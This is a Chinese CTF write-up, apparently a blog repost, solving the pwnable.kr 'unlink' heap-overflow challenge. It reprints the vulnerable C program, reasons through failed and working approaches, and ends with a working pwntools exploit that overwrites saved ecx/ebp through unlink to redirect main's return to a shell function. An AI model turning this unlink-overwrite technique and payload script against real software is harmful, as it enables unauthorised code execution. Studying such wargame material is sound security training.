zoukankan      html  css  js  c++  java
  • 【pwnable.kr】 unlink

    pwnable.kr 第一阶段的最后一题!

     

    这道题目就是堆溢出的经典利用题目,不过是把堆块的分配与释放操作用C++重新写了一遍,可参考《C和C++安全编码一书》//不是广告

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    typedef struct tagOBJ{
        struct tagOBJ* fd;
        struct tagOBJ* bk;
        char buf[8];
    }OBJ;
    
    void shell(){
        system("/bin/sh");
    }
    
    void unlink(OBJ* P){
        OBJ* BK;
        OBJ* FD;
        BK=P->bk;
        FD=P->fd;
        FD->bk=BK;
        BK->fd=FD;
    }
    int main(int argc, char* argv[]){
        malloc(1024);
        OBJ* A = (OBJ*)malloc(sizeof(OBJ));
        OBJ* B = (OBJ*)malloc(sizeof(OBJ));
        OBJ* C = (OBJ*)malloc(sizeof(OBJ));
    
        // double linked list: A <-> B <-> C
        A->fd = B;
        B->bk = A;
        B->fd = C;
        C->bk = B;
    
        printf("here is stack address leak: %p
    ", &A);
        printf("here is heap address leak: %p
    ", A);
        printf("now that you have leaks, get shell!
    ");
        // heap overflow!
        gets(A->buf);
    
        // exploit this unlink!
        unlink(B);
        return 0;
    }

    这道题在get(A->buf)处存在明显的堆溢出,可以覆盖A->buf以后全部堆内存。

    首先在gets(A->buf)后,执行了unlink操作,操作导致[B->bk]->fd被B->fd值覆写以及[B->fd]->bk被B->bk覆写。

    该覆写过程发生于Unlink函数中,当输入A->buf溢出覆盖了B->fd和B->bk时,可导致一个DWORD SHOOT覆写。但会产生另外一个DWORD被覆盖的副作用。

    1. 最初的想法通过上述的DWORD SHOOT覆写Unlink函数的返回地址,将该返回地址改为shell函数的返回地址。可能导致在Unlink返回时跳转到shell函数去

    即:

      B->bk = Unlink的返回地址

      B->bk = Shell函数的起始地址

      根据覆写流程,会产生一个副作用,即[Shell函数的起始地址+4 ] = Unlink的返回地址

     

    当该副作用产生时,shell函数内容会被篡改,导致出错该方案行不通。

    2. 第二种考虑将shellcode写在溢出的堆上,同样利用上述方法,将返回地址写到堆上的地址,然后再使用跳转,至shell函数中以获得flag。

    堆内存即

    A结构+B->fd+B->bk+nop*n + jmp shell + jmp short xxx 

    其中返回地址覆写为jmp short xxx,这样Unlink结束后跳转至jmp short xx指令,jmp短跳转至nop然后再jmp shell导致获取权限。

    这样覆写位置在jmp short xx指令后,对执行函数无影响,方案貌似可行。

    这时存在的问题是需要在堆上执行代码,需要堆上的数据有执行权限。查看一下开启的保护:

    发现开启了NX保护,堆上代码不可执行,因此该方案也无效。

    3. 最终,无可奈何只能继续往下面找,发现unlink函数没有可以利用的地方了,然后main函数直接结束了,也没有给出之前做过的覆写GOT表的机会。

    最终在main函数返回时找到可以利用的地方。

    retn指令相当于pop eip,该指令是可以控制程序运行流程的,流程的来源是esp指向的地址。

    而再之前 lea esp,[ecx-4]即把ecx-4地址中的数据赋给esp。

    而在此逆推ecx的值是从mov ecx,[ebp-4]中得到的。

    而leave指令相当于mov esp ebp,pop ebp,对esp数据的来源无影响。

    ebp在整个main函数运行中是不变的。

    因此,可以构造 [ecx-4] = shell的起始地址

    这样 就可以先把 shell的起始地址写到一个内存地址(如可以在A->buf的起始部分输入shell函数地址),ecx再指向该地址+4.

    进一步就是将ebp-4地址中的值覆写成上面的地址+4.

    ======================思路over===========================================

    因此输入的内容就是shell地址+填充字符 + B->fb + B->bk就可以了。

    根据前一篇文中堆块的地址分配,malloc(sizeof(OBJ)的大小就应该是8 * (int(4+4+8 + 4)/8 +1) = 24

    A->buf = 12,再加上B堆块固有的堆块大小及标志位4字节,shell+填充字符共计为16字节。

    假设A->buf的地址记为shell,shell = A+8 

    下一步要解决的是B->fb和B->bk问题。

        BK=B->bk;
        FD=B->fd;
        FD->bk=BK;
        BK->fd=FD;

    由OBJ结构可知OBJ->fb = OBJ,OBJ->bk=OBJ+4.

    所以,覆写就有两种覆写方法,BK为shell+4,或者BK为EBP-4

    当BK= shell+4 时,FD + 4 = EBP-4,FD=EBP-8 , 覆写时,[shell + 4 ] = EBP-8

    当BK = EBP-4时,FD + 4 = shell +4 ,FD = shell,  覆写时,[shell+4] = EBP-4

    二者的覆写均无影响。

    再说,shell的值与EBP的值如何获得。

    shell  = A + 8,A可由打印的第二个值获得。

    而EBP可由反汇编代码中看到,

     &A= EBP-0x14

    由上述两种方法求得的fb、bk分别 

    1. 

    payload += p32(heap_addr + 12)
    payload += p32(stack_addr + 0x10)

    2. 

    payload += p32(stack_addr + 12)
    payload += p32(heap_addr + 12 )

    编写payload脚本

    from pwn import *
    
    shell_addr = 0x080484eb
    
    s =  ssh(host='pwnable.kr',
             port=2222,
             user='unlink',
             password='guest'
            )
    p = s.process("./unlink")
    p.recvuntil("here is stack address leak: ")
    stack_addr = p.recv(10)
    stack_addr = int(stack_addr,16)
    p.recvuntil("here is heap address leak: ")
    heap_addr = p.recv(9)
    heap_addr = int(heap_addr,16)
    payload = p32(shell_addr)
    payload += 'a'*12
    #payload += p32(heap_addr + 12)
    #payload += p32(stack_addr + 0x10)
    
    payload += p32(stack_addr + 12)
    payload += p32(heap_addr + 12 )
    
    p.send(payload)
    p.interactive()

  • 相关阅读:
    从零开始学 Web 之 DOM(七)事件冒泡
    从零开始学 Web 之 DOM(六)为元素绑定与解绑事件
    从零开始学 Web 之 DOM(五)元素的创建
    从零开始学 Web 之 DOM(四)节点
    从零开始学 Web 之 DOM(三)innerText与innerHTML、自定义属性
    从零开始学 Web 之 DOM(二)对样式的操作,获取元素的方式
    从零开始学 Web 之 DOM(一)DOM的概念,对标签操作
    @RequestParam和@GetMapping
    组件(一)
    Vue(一)
  • 原文地址:https://www.cnblogs.com/p4nda/p/7172104.html
Copyright © 2011-2022 走看看